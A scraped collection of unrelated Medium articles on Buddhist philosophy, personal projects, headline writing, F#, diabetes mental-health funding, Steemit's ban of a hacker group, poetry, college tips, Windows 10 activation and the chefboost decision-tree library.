“If form were self,” the Buddha says, “then form would not lead to affliction, and it should obtain regarding form: ‘May my form be thus, may my form not be thus.” In other words, because our body does cause us suffering, it is clearly not under our control. Therefore, the body can’t be self. The Buddha then applies this same test of control to the remaining four aggregates to show they too could not possibly be self. It turns out that none of these, including consciousness, can truly be described as a self because all of them are beyond our control.
Though the Buddha never explicitly ruled out the possibility of a self, and recognized the practical role self-identity plays for individuals in other suttas, so far as I’m aware no one over the past twenty five or so centuries since his sermon has been able to offer a response to his queries regarding where exactly something like a self or essence can be found. It appears there is no one at the helm steering our individual ships through life’s rough waters. This doesn’t mean we are completely rudderless, but the idea that there is a central self running the whole show is so far completely unsupportable.
The American psychologist William James didn’t stop with the five aggregates. He turned outward in his challenge to the concept of self, asking us to clearly define where the boundary between the individual and the family lies. If that line exists at all, it is extremely fuzzy. Wright quotes James to lend a little extra contemporary support to the Buddha’s 2500-year-old point.
‘Between what a man calls me and what he simply calls mine the line is difficult to draw.’ In that sense, he [James] observed, ‘our immediate family is a part of ourselves. Our father and mother, our wife and babes, are bone of our bone and flesh of our flesh. When they die, a part of our very selves is gone.’
I would go even further than James. Consider the role friends and other contacts we make over the course of our lifetimes play in making us who we are today. Many of these contributions to our identity we aren’t even conscious of. Yet at the same time the number of people we honestly couldn’t imagine being the same without certainly extends well beyond our immediate family.
Wright sums the situation up as follows when describing the related Buddhist concept of emptiness:
In other words: nothing possesses inherent existence; nothing contains all the ingredients of ongoing existence within itself; nothing is self-sufficient. Hence the idea of emptiness: all things are empty of inherent, independent existence.
With the self no longer in the picture, there is no subject for us to contend with. The perceiver becomes a collection of characteristics molded by a combination of biology, personal experience and culture, none of which alone qualifies as the individual subjective viewer. What is it that is being influenced by all these feelings? By adopting a supposedly objective point of view in order to eliminate all the feelings that cloud our judgment, who is the subject we are discarding in order to obtain this more accurate view of the world? In recognizing there is no self, the objective/subjective dichotomy suddenly becomes not so much two sides of the same coin as a false choice created by a faulty dualistic premise.
One of the ten images developed by the psychiatrist Hermann Rorschach to help doctors effectively evaluate how their patients visually experience the world.
Perhaps the best demonstration of the fluidity of the boundary between subjects and objects is the famous, if widely misunderstood, Rorschach Test. The ten inkblots used in the test are not random smears of ink like many people think, but carefully crafted images created by the psychiatrist Hermann Rorschach.
Rorschach had been fascinated his entire life with how people see the world. In addition to his psychiatric training, he was the son of an artist with a considerable artistic talent of his own. This made him well suited for research into human perception; an area that had been largely overlooked by his more famous contemporaries, Freud and Jung.
Rorschach’s inkblots are not the visual equivalent of free association. As Damion Searls puts it in his book, The Inkblots: Hermann Rorschach, His Iconic test, And The Power of Seeing, “The image itself constrains how you see it — as on rails — but without taking away all your freedom: different people see differently, and the differences are revealing.”
Put another way, a Rorschach inkblot rests on the boundary between something that’s really there and multiple, if constrained, ways of viewing it. It’s hardly as fixed as a water molecule or the law of gravity, but it’s far from an entirely relativistic image either. In this regard, it’s an excellent metaphor for the complex patterns of relationships that make up both societies and ecosystems. According to Searls, Rorsach’s insight was that “perception included much more [than the physical mechanics of seeing or other sensations], all the way to interpreting what was perceived.”
In his recent book on Buddhism, Robert Wright also draws attention to the fact that perception and interpretation cannot be treated as separate actions. To make this case he quotes the psychologist Robert Zajonc:
There are probably very few perceptions and cognitions in everyday life that do not have a significant affective component, that aren’t hot, or in the very least tepid. And perhaps all perceptions contain some affect. We do not just see ‘a house’: we see ‘a handsome house,’ ‘an ugly house,’ or ‘a pretentious house.’ We do not just read an article on attitude change, on cognitive dissonance, or on herbicides. We read an ‘exciting’ article on attitude change, an ‘important’ article on cognitive dissonance, or a ‘trivial’ article on herbicides.
The point here isn’t that what we call objective reality doesn’t exist. Rather it’s that any species with the capacity to unveil truth can’t possibly be objective about their own experiences. There are no objective scientists or philosophers out there. There is no objective people out there period. We all have feelings about our existence that color every decision we make, no matter how rational we think we’re being. Furthermore, we all have the impression there’s an inner objective self or essence guiding the whole show, but there isn’t.
As was stated earlier, what makes something objectively true isn’t that it has been dispassionately observed, but that every single possible subjective observer can’t help but ultimately reach the same conclusion about its nature given the proper intellectual and technological tools to make the necessary examination. No matter how anyone feels about a water molecule, or through what physiological lens or mechanical device it is viewed, it will still be two hydrogen atoms and one oxygen. The same can’t be said about the relationships we form with each other or with our environment. It’s only by realizing we are enmeshed in the world rather than separate “objective” outside observers that we can truly hope to make any real progress in our understanding. | https://craig-axford.medium.com/objectivity-vs-subjectivity-an-incongruity-that-isnt-really-5c29ffe93c81 | ['Craig Axford'] | 2018-12-16 22:30:00.090000+00:00 | ['Philosophy', 'Spirituality', 'Consciousness', 'Psychology', 'Science'] |
Dreaming… | During the pandemic, there was an avalanche of a number of projects that were launched — podcasts, new blogs, DH projects, YouTube channels, webinars among many other things. Some of these projects were refreshing, much needed and from what I understand was being conceptualized much before the pandemic. Then there were some projects which frankly appeared opportunistic to me, simply utilizing the pandemic to serve individual interests.
I have been inspired by projects that have been interesting and carried out almost with no institutional support. I acknowledge organizations, individuals and community advocacy groups who came up with innovative ways of building communities in pandemic times. Then there were projects, which reminded me what not to do and prompted me to be cautious of where and how I am spending my time and energy.
I did not have the intellectual energy in me to launch a new project during the Fall semester, because I was burnt out. I was struggling to keep myself afloat and I just survived with constant support from parents, friends, mentors and of course, my therapist!
I found myself carrying out some Curriculum Development work in the summer and though I have been interested in archival scholarship and gender studies for a long time, one of the reasons I took up the work was the need for money. With the pandemic, the number of dependents that I had to support increased and the only way I could support them was to take up a project that pays me some money and one that would sustain my interest.
But I am a dreamer. I kept on dreaming: new projects, new collaborations, the need for building communities that I would like to be a part of. I am a slow worker and it takes me a lot of time to conceptualize what I really want to do. There are three questions that really guide me what I want to do and I am really grateful to my mentor Shalini Puri for helping me to think through these questions: What is interesting to me and others? What is sustainable and desirable? What existing structures and resources can I tap on to really do the kind of scholarship and advocacy that inspires me ?
Today’s notes are really an articulation of all those projects that I have been dreaming of. I am really thinking out aloud as I am writing of these projects. Most of these projects require long-term commitments.
a) Indian Ocean Visual Archive
There are many projects and work happening around the Indian Ocean but the rich and diverse visual cultures around the Indian Ocean need even wider documentation and interest. Whom is this archive for ? How do we use this archive for advocacy ? I am still thinking through this and hence taking my time with it.
It needs a group of archivists, scholars, visual artists, community support, multi-institutional collaborations and money — that is difficult to mobilize when you are a graduate student trying to meet your degree milestones.
I am inspired by SAADA’s work, when I think of my model for this project.
b) A journal special issue on Weather Studies
Within the growing body of scholarship on Environmental Humanities, I see that there is potential for a lot of work to be done on Weather and Literary Studies. I would love to propose a journal special issue but the journals that I am interested in have not carried out a special issue edited by graduate students. So I am still looking for spaces that would be conducive to a proposal for a special issue.
c) Mental health network for academics in India
I am no mental health professional but as someone who care deeply about mental health, I hope that I can be a part of some kind of initiative that focuses on care work and mental health, even if that means connecting people with resources- something that I did not have as a graduate student in India.
d) Prison Education in India
As an abolitionist, I really want to see a day in India when we could collectively work on education initiatives for incarcerated people. There are some initiatives in place but there is scope for a lot of work.
e) International Students’ Mentorship Network
I have to acknowledge my friend Kay Sohini, who once told me about her dream of creating a platform that would have resources relevant for international students. I have been thinking of that platform for almost two years now. I am specifically interested in a mentoring network for international graduate students in the humanities who have just entered graduate school and could benefit from the expertise of more advanced graduate students in the profession.
Thank you for reading about my dreams. If you have advice to offer or generally want to talk about any of these projects, please do write to me at [email protected] | https://medium.com/@sritamachatterjee36/dreaming-c7ac34ce8284 | ['Sritama Chatterjee'] | 2020-12-22 16:58:12.556000+00:00 | ['Prison Abolition', 'Publishing', 'Archives Open Access', 'Mental Health', 'Writing'] |
Try These 20 CNN Headline Templates to Draw in Readers | Try These 20 CNN Headline Templates to Draw in Readers
I browsed their site for 1.5 hrs
Illustration by Cynthia Marinakos.
You know how it is. You’ve got that huge to-do list to get through when you get online outside of work: an article to write, the banking, canceling an appointment, finding a gift for your cousin’s newborn, emailing a business for a refund…
You log into your email account with the intention of emailing that business who annoyingly billed you after the trial period — and you hadn’t decided to subscribe. But then you see all the new emails that have come in overnight, and curious, you pick out the ones that seem most interesting. Half an hour later, you forget why you logged in.
You begin researching the article, and gosh, there’s so much interesting stuff out there. You jump between papers. You get caught up on YouTube, “Ooh a new TEDTalk.” “Hey, those boots I was looking at last week are on sale.” And before you know it, an hour and a half has gone by and you’re only a quarter of the way through your research.
Why is it so hard to stay focused online?
One reason is there are people out there who are so damn good at writing headlines we can’t resist: for articles. For email subject headers. For videos. Books. Ads.
And there’s one industry whose existence depends particularly on writing compelling headlines:
The media.
Without magnetic headlines, their readership numbers drop. Without strong readership, they won’t attract big advertisers — advertisers that want to reach the right audience to sell their products and services. Without big advertisers, they can’t afford to investigate, write, and distribute content to the masses.
Magnetic headlines make all that happen.
We can learn a lot from CNN’s headlines because they write with credibility and simplicity. They grab attention — but not through clickbait. The problem with clickbait is it entices readers with over-the-top, vague, or misleading headlines where content doesn’t deliver.
That’s a problem because the worst we can do is waste our readers’ time and trample on their trust.
You and I wouldn’t dream of deceiving our readers for the sake of a click, would we? You and I know that constant sensational headlines that don’t deliver would turn off readers and damage our reputations long-term, just as it has for dodgy used car salesmen.
So CNN is a great place for us to learn about the type of headlines we want to share with our readers. Here’s what we’ll run through today:
See real CNN headlines that work
Get templates to create your own impactful headlines
Understand what makes the headlines so powerful
Get a simple summary of what’s common between CNN headlines
All this so you can add these templates to your writing swipe file — to get the readership you deserve for your precious words. | https://medium.com/better-marketing/try-these-20-cnn-headline-templates-to-draw-in-readers-632e818b9a4a | ['Cynthia Marinakos'] | 2020-08-19 02:54:00.031000+00:00 | ['Headline Hacks', 'Business', 'Writing', 'Productivity', 'Startup'] |
F# — From string to byte array and back | There’re a number of built-in literal types in F#, and one of the cool things you can do is to get the byte or byte array representation of a char or string using the ‘B’ suffix, the result is the same as Encoding.ASCII.GetBytes:
Pretty cool, eh? | https://medium.com/theburningmonk-com/f-from-string-to-byte-array-and-back-87bcae8dcb17 | ['Yan Cui'] | 2017-07-03 20:56:11.990000+00:00 | ['Functional Programming', 'Tips', 'Programming'] |
Anthem Foundation and JDRF Partner to Address Mental Health Needs During Pandemic | The coronavirus pandemic has caused increased stress and anxiety, especially among individuals who are caring for family members or loved one, and those at higher risk for severe illness — such as diabetes.[1] Having the right resources to learn how to cope and respond to these feelings plays an important role to an individual’s overall health. To help address the mental health needs of individuals, families and caretakers impacted by type 1 diabetes (T1D), Anthem Foundation and JDRF, the leading global funder of T1D research, are partnering together through these unprecedented times.
T1D is an autoimmune disease in which a person’s pancreas stops producing insulin, a hormone that enables people to get energy from food. It occurs when the body’s immune system attacks and destroys the insulin-producing cells in the pancreas, called beta cells. While its causes are not yet entirely understood, scientists believe that both genetic factors and environmental triggers are involved.
The physical elements of living with T1D, which require 24/7 management — compounded with its emotional burden and anxiety related to the pandemic — can contribute to increased rates of distress and depression not only in individuals diagnosed with T1D, but also their loved ones. Research shows that stress increases the levels of cortisol which is insulin resistant, ultimately making diabetes management more difficult.
The new grant funding will provide access to digital behavioral health and psychology resources for the T1D community. Experts will be provided the right tools to educate the community on practical mental wellness techniques, how to cope with depression and anxiety during COVID-19, the importance of exercise to counteract stress and how to recognize when to seek professional help.
Having the right support plays a vital role in managing unique challenges during this challenging health crisis. Our commitment to improving lives and communities continues through our partnership with JDRF in support of its Behavioral Health and Psychology Program. Together we will reach individuals, families and caregivers by providing direct access to digital behavioral health resources to support those impacted by T1D.
[1] Centers for Disease Control. (2020, July 1). Coronravirus Disease 2019: Coping with Stress. https://www.cdc.gov/coronavirus/2019-ncov/daily-life-coping/managing-stress-anxiety.html#stressful | https://medium.com/anthemfoundation/anthem-foundation-and-jdrf-partner-to-address-mental-health-needs-during-pandemic-709612573529 | ['Anthem Foundation'] | 2020-12-07 17:56:40.179000+00:00 | ['News', 'Philanthropy', 'Type 1 Diabetes', 'Diabetes Solutions', 'Diabetes'] |
Is Steemit Social Network Truly Decentralized? | Is Steemit really decentralized?
One of the youngest and most revolutionary blogging and social networking sites in the world, Steemit, was a breath of fresh air when it launched back in 2016. The privately held company promised a unique kind of service to its users. It looked to offer a new kind of social interaction that was free of censorship and favouritism that are the greatest weaknesses of the traditional centralised social networks.
Steemit was marketed on the promise of free speech for all, leveraging the Steem blockchain platform to revolutionise how individuals avoid government and corporate meddling in their choice of what to say and what not to. The company was marketed as the ideal solution to the abuse of power that lately defines top social media platforms including Facebook, Twitter, and Google, who have time and again bowed to pressure from governments and advertisers to censor and even ban users who share even the most mildly controversial content. The age of true social media freedom was nigh, or so everyone thought.
The freedom that Steemit brought to social media is turning out to be a double-edged sword if events surrounding a hacker group ‘thedarkoverlord’ are anything to go by.
The 9/11 Conspiracy
To get a little context of events, let us take a step back to a week before all this drama unfolded.
A hacker group somehow laid their hands on confidential documents related to the 9/11 and all kinds of companies were tangled in activities that they did not want the public to know about. It appears that the documents contained invaluable information that companies mentioned would not want the public to access. Being the dark overlords they are, the group sought to make a buck blackmailing the mentioned companies by demanding Bitcoin payment in exchange for not publishing the documents in their hands.
The problem of course, is how the hackers could reach the mentioned companies and prove that they were not bluffing — that is, without getting caught by the authorities. Steemit’s promise of anonymity and ‘no-censorship came in handy. This is where the user ‘thedarkoverlord’ posted a link to the sneak peek of the images of stolen documents hosted on Pastebin. Based on the uproar the publication of the documents caused, it was clear they hackers had something. Reports from multiple sources show that the group managed to squeeze ransom off a number of companies including those in the insurance, property management, and other industries.
Decentralization fails thedarkoverlord
Thedarkoverlord had apparently attempted to publish expose documents on ‘truths about 9/11’ on traditional centralized platforms including Twitter, Reddit, and Pastebin, but as you would expect, all these platforms removed their content and banned their accounts. Their search for a way to evade government agencies and keep their illegal activities alive on the internet led them to Steemit. After all, the platform’s core advantage is that it does not regulate the content of its users and once published on the blockchain, remains immutable or very difficult to alter. To their surprise, the one place they thought they could publish the stolen information also banned them and removed what they had already posted on January 7th.
The ban of the hacker group was effective the moment Steemit developer RedBeard appended the username ‘thedarkoverlord’ onto a file with the name GDPRUserList as visible in the Steemit’s GitHub account.
User ban on Steemit a terrible precedent
Whether Steemit was justified in banning the group from its platform due to the nature of information they were threatening to expose or not, the fact of the matter is that Steemit has failed to live up to its original promise to ‘promote and uphold censorship-free interaction’ that has no caveat in its terms of service.
Just to clarify, Steemit did not remove the content published by thedarkoverlord; the platform merely removed public access to the content (it is virtually impossible to remove something from the blockchain — once you put something there, it stays there forever). This means that although the links to the content published by the banned account is still there on the blockchain, it just cannot be viewed via the Steemit platform. This is a big issue because in its whitepaper, Steemit proclaims itself a ‘witness operated decentralized network’ where ‘all user actions are publicly recorded on the blockchain’ and once publicly verified, ‘there is no single entity that can censor content that is valued by STEEM holders’.
The ban of the user thedarkoverlord may have just revealed the true nature of Steemit as a platform with a consensus protocol that is prone to centralization, no different from traditional social platforms like Twitter and Reddit. The people of the internet who believed Steemit and other similar front-end interfaces to the Steemit Blockchain network to be a safe place free from commercial and authority-instigated bans are very disappointed. They expressed their grievances on the GitHub commit page as well as on Reddit and on other social media platforms.
If Steemit was truly decentralized, the ban couldn’t have been so easy
Steemit claims to be a decentralized platform that uses a proof-of-stake consensus protocol that should not be susceptible to manipulation — not even by the company itself. This only reveals that the company is prone to situations where one person or a handful of stakeholders can make a decision and implement it without the full consensus of the public.
This whole drama with thedarkoverlord has revealed that other blockchain platforms that use this form of consensus including Ethereum are also susceptible to centralized decision making that undermine the whole concept of decentralization on the blockchain. While the rules of proof of stake may allow such censorship to occur (such as when removing child porn from the system), Steemit’s blatant ban of a user in contradiction to its core value proposition as proclaimed in their original Whitepaper is seen as a terrible precedent. This pokes holes in the claim that the platform is a decentralized social media platform of the future resistant to censorship.
What next for Steemit?
Interestingly, the public furor over Steemit’s actions has reportedly boosted the platform subscriber base, with more new members signing up than ever before. However, the fact remains that Steemit will have to make sweeping changes to their protocol and even terms of service if it is to regain public trust as a decentralized social platform that supports and advocates for free speech. As of now, Steemit is just any other social media platform susceptible to external interference.
Disclaimer: information provided by @cryptomedics does not constitute as investment advice, financial advice, trading advice, or any other sort of advice, and you should not treat any of the website’s content as such. Do conduct your own due diligence and always do your own research before investing. If you like our content, show us some love, upvote, share it and join our Telegram Discussion or the Main CryptoMedics Channel. | https://medium.com/@4CTrading/is-steemit-social-network-truly-decentralized-cbf1fc2ccb26 | [] | 2019-01-11 10:13:52.508000+00:00 | ['Conspiracy Theories', 'Blockchain', 'Hacks', 'Steem', 'Cryptocurrency'] |
The Sun Is Up Forever | Photo by Sebastian Voortman from Pexels
I am a cloud of dust
Wandering through the wind.
I am on a magical journey to the unknown.
I sparkle
As I make my way through
The same breeze that caressed against your cheek.
Unbeknown to you,
That was me you felt.
That cold, humble breeze.
That was me.
You couldn’t see me.
The drops that wept from the sky
Were made from the infuriating anger
That dwelled deep within my soul.
I wanted you to see me
I just wanted you to see me.
I am the flow of the river.
The same river that you watch your reflection in.
You see me,
But I am unnoticed.
There is a mixture of chemicals
Charged beneath my surface.
Can you feel the electricity,
Or is that just me?
I am moving,
Ever flowing.
Some call me a free spirit.
I suppose that’s true.
I began as a trickle from the sky.
I learned to walk before I even began to crawl.
Before I knew it,
I was running down the side of mountains.
Raging onto the rocks and the shore.
My angst was never enough to grab your attention.
I became still and quiet,
Hoping that the reflection of perfection that I showed you
Would edge you into my loving embrace.
But life is never that simple.
My unrequited feelings
Fell victim to dreary waterfalls of darkness.
I am an unexpected lover
And a beautiful mess.
I grew into something
That I never could have imagined existed.
I was a walking contradiction.
I watched your calmness
Sleeping next to me.
I could watch a million sunrise with you
It took awhile to get here.
I was born as dust in the wind.
I grew to the range of the water.
Do you believe in fate?
Do you believe that we had to endure this journey
To be where we are right now?
As I watch you sleep next to me,
I think that it might be the case.
We had to realize that we are not moments.
We are not meant to be invisible.
We are not made to be unnoticed.
I think that, sometimes,
Fate has a funny way of showing us
What life is really about.
I think about the darkness.
Now I know the unknown,
And I never want to leave.
You are the sun,
And I want the sun to stay up forever. | https://medium.com/@bankstiffanyamber/the-sun-is-up-forever-961a08ebcfea | ['Tiffany Banks'] | 2020-12-17 21:20:06.280000+00:00 | ['Love', 'Growth', 'Fate', 'Journey'] |
【回流新加坡 港人二代的選擇 星港教育、生活比較｜小朋友適應貼士】（訪問IGer vivianmok_ ） | in Change Your Mind Change Your Life | https://medium.com/@1557901568897/%E5%9B%9E%E6%B5%81%E6%96%B0%E5%8A%A0%E5%9D%A1-%E6%B8%AF%E4%BA%BA%E4%BA%8C%E4%BB%A3%E7%9A%84%E9%81%B8%E6%93%87-%E6%98%9F%E6%B8%AF%E6%95%99%E8%82%B2-%E7%94%9F%E6%B4%BB%E6%AF%94%E8%BC%83-%E5%B0%8F%E6%9C%8B%E5%8F%8B%E9%81%A9%E6%87%89%E8%B2%BC%E5%A3%AB-%E8%A8%AA%E5%95%8Figer-vivianmok-9632dc724af | ['透視新加坡', '除障破蒙 看清新加坡'] | 2020-12-26 22:21:00.263000+00:00 | ['香港', 'Education', '新加坡', 'Singapore', 'Hong Kong'] |
On Writing Emotion | Almost every time I start working with a new client, they ask me for pointers on writing character emotion without falling into telling or cliché. As I wrote my answer, I realized it would make a great blog post because, let’s face it, writing emotion is hard. Here’s a technique I’ve come up with over the years that I hope you’ll find helpful.
A good starting point for writing emotion.
A good place to start is with the Emotion Thesaurus by Angela Ackerman and Becca Puglisi. The book catalogues the physical responses, mental responses, and sensations associated with each of a broad list of emotions. A lot of authors (including me when I first started learning this technique) stop there. That’s why you get a lot of anxiety describes as sweaty palms & thumping hearts in books. But instead of just telling us the character’s palms are sweaty, try showing the character wiping her hands on her skirt or shying away from shaking hands with someone, hiding those sweaty palms behind her back. Show her wiggling an eyebrow because she’s in a cold sweat that’s tickling her as it drips down her face. It’s OK to do some physical cues — face getting hot, skin prickling, electricity running up the back of her legs — but don’t only do that.
Once you have reviewed the entry/entries for the emotion you’re trying to convey, put yourself into the character’s body and conduct a character interview. Why are you doing what you’re doing in this scene? What does it mean to you? How does it make you feel? Then dive deeper, leveraging your own experience with these emotions: How do your legs feel when you’re scared/nervous/angry? How does your stomach feel? What gestures might you make (tugging your hair when nervous, biting your lip or the inside of your cheek, shoving your hands in your pockets, tugging at the bottom of your shirt)? Different characters may tend to feel emotions in different parts of their bodies, and this can be a great way to differentiate voices in a multiple-point-of-view story.
Description also plays a role in getting emotion on the page. What your character notices about the world is influenced by how she’s feeling. For example, if I’m sad, and I look outside and see it’s raining, I might feel the rain is heavy and depressing and awful. But if I’m happy, I look out the window and see how the water glistens on the leaves or how the intense green reminds me of my honeymoon in Belize. So you write the emotion not by putting feelings on the page, but by showing how the character’s feelings (and their backstory) influence how they perceive everything in the world around them. The details you as the writer choose will help convey the character’s emotions without ever naming that emotion on the page.
Same goes for dialogue. An easy crutch to fall back on is using dialogue to convey emotion such as, “Mom, you make me so angry when you talk to me like that!” I’m not saying you can never do that. In fact, it can be very effective, especially when it’s more voicey than my example, but make sure it’s not the only way you’re conveying emotion.
Even with all of these techniques, your characters may still not come alive on the page without sharing their internal thoughts and feelings with the reader. And yes, this can sometimes include a little bit of telling.
Consider this excerpt from debut author Gita Trelease’s stunning Enchantée:
“Aurélie, what are you saying?“ Lazare said, as if offended on Camille’s behalf. “She doesn’t care. Husbands aren’t any good unless they’re gone — which you would know, Lazare, if you were required to have one.” His face clouded. “My apologies.” “Not at all,” Camille said, using her best imitation of Aurélie to cover the confusion she felt. “But I wonder if it’s not time for me to go.” She counterfeited a pretty yawn. “It’s almost morning and I’ve a long ride back to Paris.” — pg 225, Enchantée
Both “as if offended” and “confusion she felt” are tells, but they’re so judiciously used with gestures (the counterfeit yawn), facial expressions (his face clouded), and dialogue that the emotion of the scene is clear.
If you can identify the emotions you want to convey, and then convey them with a mix of gestures, physical sensations, description, internals, and dialogue, you’ll be well on your way to writing emotion that will keep your reader turning pages.
Next time you’re reading one of your favorite authors, pay attention to how they do this. Two of my current favorites, Leigh Bardugo and Maggie Stiefvater, are masters of showing emotion without naming it on the page. Their styles are very different (Bardugo is more lush and Stiefvater more sparse in style), but they both end up delivering gripping stories in part because of how they write emotion.
What tips have you learned about conveying emotion in your writing? Which authors do you think do it particularly well? This topic could fill multiple books, so feel free to continue this discussion in the comments. | https://medium.com/no-blank-pages/on-writing-emotion-160f75f6b264 | ['Julie Artz'] | 2019-04-15 14:48:24.493000+00:00 | ['Editing', 'Writing', 'Craft', 'Fiction Writing', 'Writing Exercise'] |
Starting College? Read this. | See an academic advisor before signing up for classes.
College is a matter of fulfilling course requirements so that you can move on to the next course and get. that. degree. Don’t make the mistake of signing up for classes you don’t need, or worse, wasting tuition money and prolonging your college journey. An academic advisor will help you map out the next few years of your life so that you only take the classes you need, while also throwing in some courses that interest you. Don’t be afraid of vising your advisor. The only reason why they are employed by the college or the university is so that you can utilize them! Rule of thumb, always see your advisor before you enroll, drop, or swap a course.
2. Fill out FAFSA on day one.
If you live in the United States, college is expensive! Also, if you live in the United States, we have a federal financial aid called FAFSA. This service allows you to receive grants and loans based on your parents’ income level, or in certain cases, your own income level. It is important to understand that you should fill out the FAFSA application in the October before starting college. Word on the street is that the earlier you fill out this application, the more financial aid you will recieve. Just do it. Don’t put it off. It is the easiest money you will ever make.
3. How to choose your major.
Okay. This one is kind of hypocritical of me. I ended up changing my major around five times. I am telling you this so you do not encounter the same mistakes as me. If I would have known what major I would have ended up with, I could have save myself a lot of time, heartache, and tears. Now you ask, how do I know what I should major in? The answer is simple. What career do you want? Choose your career based on your interests, not your major. Your major is a stepping stone to put you closer to pursuing the career you want. A quick Google search can tell you which major is the best for your intended career, but also visit the Career Center at your school. As always, discuss your options with an academic advisor.
4. Strategic living arangements.
In my head, college is idealized as this place where you move out of your parents’ home and live in an apartment with roomates. For me, I would die before I co-habituated with another person like that. I lived at my parents’ house for all of college, and it has its pros and cons, but I suggest that you choose the cheapest (and safest) living option available. You do not want to rack up loans and accrue interest on said loans when you do not need to. Your future self will thank you for saving money. In some cases, you may not have the option to live with your parents during college, and that is fine as long as you find cheap living elsewhere. Set a budget and stick to it!
5. Join clubs!
This very well might be the most important tip I have for you. Join clubs! Clubs in college are nothing like clubs in high school. The clubs you join in college do not define your standing on the social hierarchy of your university. In fact, there really is no such thing as a “popular” person in college. No one cares about you. Joining clubs in college should be solely based on your interests and desire to meet new people with similar interests. You will have a much better time in college if you get involved with clubs early on, I guarantee it. Unlike in high school, people in the chess club are actually pretty cool. | https://medium.com/@brianwerbly/starting-college-read-this-b3197ac50f70 | ['Brian Werbly'] | 2020-12-20 21:28:22.026000+00:00 | ['Freshman', 'Career Advice', 'College', 'High School', 'Adulthood'] |
How To Solve Windows 10 Activation Problems | Sometimes we face Windows 10 Activation problems even after having a genuine License key…
In today’s guide, I will try to explain to you guys how to solve this problem in Windows 10 step by step…
Note : Make sure you are not using any illegal way to activate your windows 10 like using those illegal kmspico tools which mostly have virus infected files…If you want to keep your system clean, do not install any such harmful tools because they mostly contains virus & will infect/damage your entire operating system…If you don’t already have a valid or genuine windows 10 license, then first get windows license key from any genuine site, source or service provider as per your liking…
1) First Right-Click on your Windows Start menu & click on “System”…The below System menu will open like this below…Scroll to the bottom until you can see your Windows 10 version…Now click on that highlighted link that says Change Product Key or upgrade your edition of Windows…
2) After clicking the above mentioned link, it will show you the current activation status of your Windows 10 computer like the below screenshot…In my case, I have my Windows 10 Pro already Activated…
The screenshots here are showing the Microsoft windows activation screens for windows 10 Pro…If you have Windows 10 Home installed on your machine, these two screens will show you the windows edition written as Windows 10 Home…
3) If you have entered a license here before & it still shows unable to activate or shows you an invalid license error, Please do the following method to overcome this problem…
A) Open a Command Prompt Window (CMD) with Admin rights…For this, you can simply right click on your start menu & click on “ Windows Powershell (Admin)”…If it asks for any permission, give that permission & the Command Prompt/Powershell with Admin screen will open…
B) Now enter this command in your Powershell/Command Prompt window → slmgr /upk & press enter…The above command will uninstall the product key from your system & you will get a confirmation saying that the product key has been uninstalled successfully…
C) Now you will need to come back to the Activation screen shown before…Now this screen will show to you that, no product key found…You will now need to insert your genuine license key in the Update Product Key section & click activate…
Congratulations…Your Windows 10 will be successfully Activated now…If you still get any error message after properly following the above steps, you may have a dead/invalid license & you will need to talk to your dealer or the place from where you have purchased the license from to either get a refund or a replacement…Make sure to always try to buy or get windows 10 license key from a genuine source like I previously mentioned at the start of this article…
====================================== | https://medium.com/@sushruta78/how-to-solve-windows-10-activation-problems-4a114541a5df | ['Sushrut Bhattacharya'] | 2020-05-18 08:56:43.839000+00:00 | ['Microsoft Windows 10', 'Microsoft', 'Windows 10', 'Windows 10 Tips', 'Windows'] |
Chefboost — an alternative Python library for tree-based models | Photo by Johnathan Macedo on Unsplash
Chefboost — an alternative Python library for tree-based models
I randomly encountered chefboost in my Twitter feed and given that I never heard about it before, I decided to have a quick look into it and test it out. In this article, I will briefly present the library, mention the key differences from the go-to library which is scikit-learn , and show a quick example of chefboost in practice.
A brief introduction to chefboost
I think the best description is provided in the library’s GitHub repo: “chefboost is a lightweight decision tree framework for Python with categorical feature support”.
Comparing to scikit-learn , these are the three features of chefboost that stand out:
support of categorical features, meaning we do not need to pre-process them using, for example, one-hot encoding.
the decision trees trained using chefboost are stored as if-else statements in a dedicated Python file. This way, we can easily see what decisions the tree makes to arrive at a given prediction.
are stored as if-else statements in a dedicated Python file. This way, we can easily see what decisions the tree makes to arrive at a given prediction. we can choose one of the multiple algorithms to train the decision trees.
Following the last point, chefboost provides three algorithms for classification trees (ID3, C4.5, and CART) and one algorithm for regression trees. To be honest, I was not entirely sure which one is currently implemented in scikit-learn , so I checked the documentation (which also provides a nice and concise summary of the algorithms). It turns out that scikit-learn uses an optimized version of the CART algorithm, without the support of categorical features.
On top of what we already covered, chefboost also offers a few more advanced tree-based methods such as Random Forest, Gradient Boosting, and Adaboost.
An example in Python
As always, we start with importing the libraries.
For this example, we will use the Adult dataset. You have probably already encountered it before, but in short the goal is to predict whether an adult’s yearly income is above or below 50k USD. And to do that we use a selection of numerical and categorical features from the 1994 Census database. You can find the original data set here.
One quirk in chefboost is the approach to the target variable— it must be stored in the same dataframe as the features, it must be called Decision and must be the very last column of the dataframe. Quite weird, but there is probably some good reason for that.
We will also split the data into the training and test sets. However, that non-standard structure of the data requires a bit different usage of scikit-learn ’s train_test_split function. Even though the data set is not highly imbalanced, we used a stratified split by the target column.
Normally, we would also encode the categorical features as boolean dummies, but chefboost can handle them directly. That is why we proceed to training the model.
To train the model, we use the fit function and pass the dataframe (containing the data in the correct format) and the config dictionary as arguments. This time, we only indicated that we want to use the CART algorithm.
Given that our data contains both categorical and numerical features, we could have also used the C4.5 algorithm, but not ID3, as it cannot cope with numerical features.
After the training is done, we obtain the following summary.
Image by author
Nice to see so many metrics out of the box, but what immediately stands out is the training time. This single tree took over 10 minutes to train! It is possible to parallelize the training by setting the enableParallelism to True in the config dictionary. This way, the branches of the tree are trained in parallel. However, doing so did not result in an actual training speed improvement, at least not on my machine.
On a side note, another difference from scikit-learn is that chefboost mostly uses functions instead of classes.
Training the model resulted in the creation of a new file -> rules.py . As mentioned in the introduction, it contains the entire structure of the decision tree in the form of nested if-elif-else statements.
Below you can see part of the script, the entirety of which is 20.5k lines long. On one hand, the logic of the decisions is quite clear to follow using such a nested structure. But on the other hand, without capping the max depth of the tree (which I do not think is possible for decision trees in chefboost ), it is not easy to follow the decision path at all.
Image by author
Having trained a model, we can store it in a pickle file, or load it directly from the rules.py file using the restoreTree function.
To obtain a prediction, we use the predict function.
And as you might have noticed, we passed only one row of data to the function. Unfortunately, this is the only way chefboost does predictions. We can naturally loop over the entire dataframe, but that is not as handy as scikit-learn ’s predict method.
What we can do instead is to run an evaluation using the evaluate function.
We obtain a similar output to the one we got from training. But we will not spend much time analyzing the performance of the tree, as that is not the goal of this article.
Image by author
